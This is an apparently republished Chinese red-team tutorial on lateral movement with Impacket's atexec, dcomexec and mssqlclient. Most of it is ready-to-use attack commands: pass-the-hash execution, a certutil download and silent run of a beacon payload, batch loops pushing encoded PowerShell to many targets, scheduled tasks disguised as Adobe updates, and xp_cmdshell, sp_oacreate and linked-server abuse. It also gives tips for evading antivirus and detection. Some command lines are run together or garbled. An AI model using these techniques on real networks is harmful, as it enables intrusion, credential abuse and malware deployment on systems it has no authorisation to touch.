文章总结: 本文是Impacket工具实战教程的第二部分,重点介绍了atexec、dcomexec和mssqlclient三种进阶横向移动工具。atexec通过计划任务静默执行命令,dcomexec利用DCOM接口绕过限制,mssqlclient则通过MSSQL数据库执行系统命令。文章详细说明了各工具的原理、使用方法和实战场景,并提供了选型指南,强调隐蔽性和绕过技巧,对红队渗透测试具有实用价值。 综合评分: 88 文章分类: 渗透测试,红队,内网渗透,安全工具,实战经验
【工具学习14】Impacket 工具实战教程(二)
原创
CabinQ CabinQ
逆熵寻生
2026年7月14日 08:31 浙江
在小说阅读器读本章
去阅读
Impacket 工具实战教程(二):横向移动进阶 —— atexec、dcomexec、mssqlclient
上一篇讲了远程执行三剑客。但在真实环境中,总有情况需要换着花样来——目标 445 被封了、杀软盯着服务创建、或者你面对的是一台 MSSQL 服务器。这篇来补充三把进阶武器:atexec.py、dcomexec.py、mssqlclient.py。
一、atexec.py —— 基于计划任务的静默执行
原理:通过 SMB 调用 Windows 计划任务服务(Task Scheduler),在目标上创建一个一次性任务来执行命令,执行完自动删除。不留文件、不留服务。
适用场景:单条命令快速执行、不想写文件也不创建服务、配合横向批量命令分发。
基本使用 —— 单条命令
impacket-atexec administrator:P@[email protected]″whoami”
Pass-the-Hash
impacket-atexec-hashes :aad3b435b51404eeaad3b435b51404ee [email protected]″whoami”
静默模式(无回显,适合执行payload)
impacket-atexec-silentcommand administrator:P@[email protected]″cmd /c certutil -urlcache -f http://10.0.0.1/beacon.exe C:\Windows\Temp\beacon.exe”
指定计划任务名称(伪装)
impacket-atexec-task-name “AdobeFlashUpdate” [email protected]″whoami”
实战场景:拿到一批管理员密码/Hash 后,用 atexec 批量执行下载 payload 的命令,所有目标同时上线。
批量循环
for ip in $(cat targets.txt); do impacket-atexec-hashes :aad3b435b51404ee administrator@$ip “powershell -enc JABjAGwAaQBlAG4AdAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQA…” done
优点:
🔹 不留文件、不建服务
🔹 计划任务在 Windows 中大量存在,不突兀
🔹 执行完自动清理
🔹 支持 -silentcommand 完全无回显操作
缺点:
🔹 非交互式,只能跑单条命令
🔹 有 1-2 秒延迟(计划任务调度开销)
🔹 ~~Taskeng.exe / svchost.exe 产生计划任务事件日志~~ 但默认 ETW 不会记录任务内容
推荐工具:配合 -task-name 参数伪装成 Adobe/Google/Windows 更新任务名,藏得更深。
二、dcomexec.py —— DCOM 远程执行
原理:利用 DCOM(Distributed COM)接口远程实例化 COM 对象,在目标上执行命令。Impacket 支持三种 COM 对象:
🔹 ShellWindows(默认)—— 最稳定
🔹 ShellBrowserWindow —— 备选
🔹 MMC20.Application —— 老牌 COM 执行方法
适用场景:psexec/wmiexec 被盯上的环境、Win10/2016+ 环境下做绕过。
默认 ShellWindows 对象(最稳定)
impacket-dcomexec administrator:P@[email protected]
指定 MMC20 对象
impacket-dcomexec-object MMC20 administrator:P@[email protected]
无回显执行
impacket-dcomexec-nooutput administrator:P@[email protected]″cmd /c start C:\Windows\Temp\beacon.exe”
Pass-the-Hash
impacket-dcomexec-hashes :aad3b435b51404ee [email protected]
三种对象怎么选?
| 对象 | 适用系统 | 稳定性 | 备注 | | — | — | — | — | | ShellWindows | Win7+/2008R2+ | ⭐⭐⭐ | 默认选项,优先使用 | | ShellBrowserWindow | Win8+/2012+ | ⭐⭐ | 备选,ShellWindows 失效时尝试 | | MMC20 | Win7+/2008R2+ | ⭐⭐ | 老牌方案,部分环境被杀软标记 |
实战技巧:
🔹 如果 135 端口可达但 wmiexec 不通,试试 dcomexec
🔹 -nooutput 适合执行 payload,完全不返回结果,行为更干净
🔹 dcomexec 的进程创建链是 svchost.exe → dllhost.exe → cmd.exe,比 wmiexec 的 WmiPrvSE.exe → cmd.exe 更难关联
推荐工具:CobaltStrike 的 execute-assembly 配合 dcomexec 执行,效果极佳。
三、mssqlclient.py —— 通过数据库横向移动
原理:很多企业内网中 MSSQL 服务器是横向移动的黄金枢纽——数据库服务通常以高权限账号运行,且 DBA 喜欢把 sa 密码设成弱口令或复用域账号密码。
适用场景:信息收集发现目标开放 1433 端口(MSSQL)、拿到 sa 密码后横向拿服务器。
连接 MSSQL
impacket-mssqlclient administrator:P@[email protected]
Windows 认证登陆
impacket-mssqlclient-windows-auth domain/administrator:P@[email protected]
数据库内执行系统命令
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
SQL> xp_cmdshell powershell -enc
查看链接服务器(跨数据库移动)
SQL> select * from sys.servers
MSSQL 横向移动三板斧:
第一板斧:xp_cmdshell(最直接)
— 启用 xp_cmdshell(默认禁用) EXEC sp_configure ‘show advanced options’, 1; RECONFIGURE; EXEC sp_configure ‘xp_cmdshell’, 1; RECONFIGURE;
— 执行命令 EXEC xp_cmdshell ‘whoami’; EXEC xp_cmdshell ‘powershell -enc JABj…’;
第二板斧:spoacreate(xpcmdshell 被禁时的替代)
EXEC sp_configure ‘Ole Automation Procedures’, 1; RECONFIGURE; DECLARE @shell INT; EXEC sp_oacreate ‘wscript.shell’, @shell OUTPUT; EXEC sp_oamethod @shell, ‘run’, null, ‘cmd /c whoami > C:\Windows\Temp\out.txt’;
第三板斧:链接服务器横向移动
查链接服务器
SQL> select srvname, srvproduct, provider from sys.servers;
通过链接服务器执行
SQL> EXEC(‘xp_cmdshell ”whoami”’) AT [LINKED_SERVER_NAME];
实战场景:内网 1433 端口扫描 → 尝试 sa/空密码 → 启用 xp_cmdshell → whoami 确认权限 → 下载 payload → 拿到服务器 → 横向到更多机器。
四、四种工具的选型指南
| 工具 | 端口 | 文件落地 | 交互式 | 隐蔽性 | 最佳场景 | | — | — | — | — | — | — | | psexec | 445 | 是 | 是 | 低 | 稳定交互 Shell | | smbexec | 445 | 否 | 是 | 中 | 免落地交互 | | wmiexec | 135+445 | 否 | 是 | 高 | 隐蔽横向 | | atexec | 445 | 否 | 否 | 高 | 批量单条命令 | | dcomexec | 135+动态 | 否 | 是 | 高 | 绕过限制 | | mssqlclient | 1433 | 否 | SQL交互 | 中 | 数据库横向 |
总结
| 项目 | 说明 | | — | — | | 推荐工具 | atexec(批量分发)、dcomexec(绕过)、mssqlclient(数据库渗透) | | 关键端口 | TCP 445、135、1433 | | 实战路线 | 扫描端口 → 匹配执行方式 → 走最隐蔽的路径 | | 蓝队检出点 | svchost.exe → dllhost.exe 异常进程链、1433 端口非正常 DBA 操作 | | 绕过思路 | 交替使用不同执行方式、改名服务/任务、配合隧道做边界穿透 |
下一篇我们进入 Kerberos 攻击体系 —— AS-REP Roasting 和 Kerberoasting,两个”无接触”拿域用户密码的大招。
🎯 关注我,持续不断地成长!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:逆熵寻生 CabinQ CabinQ《【工具学习14】Impacket 工具实战教程(二)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论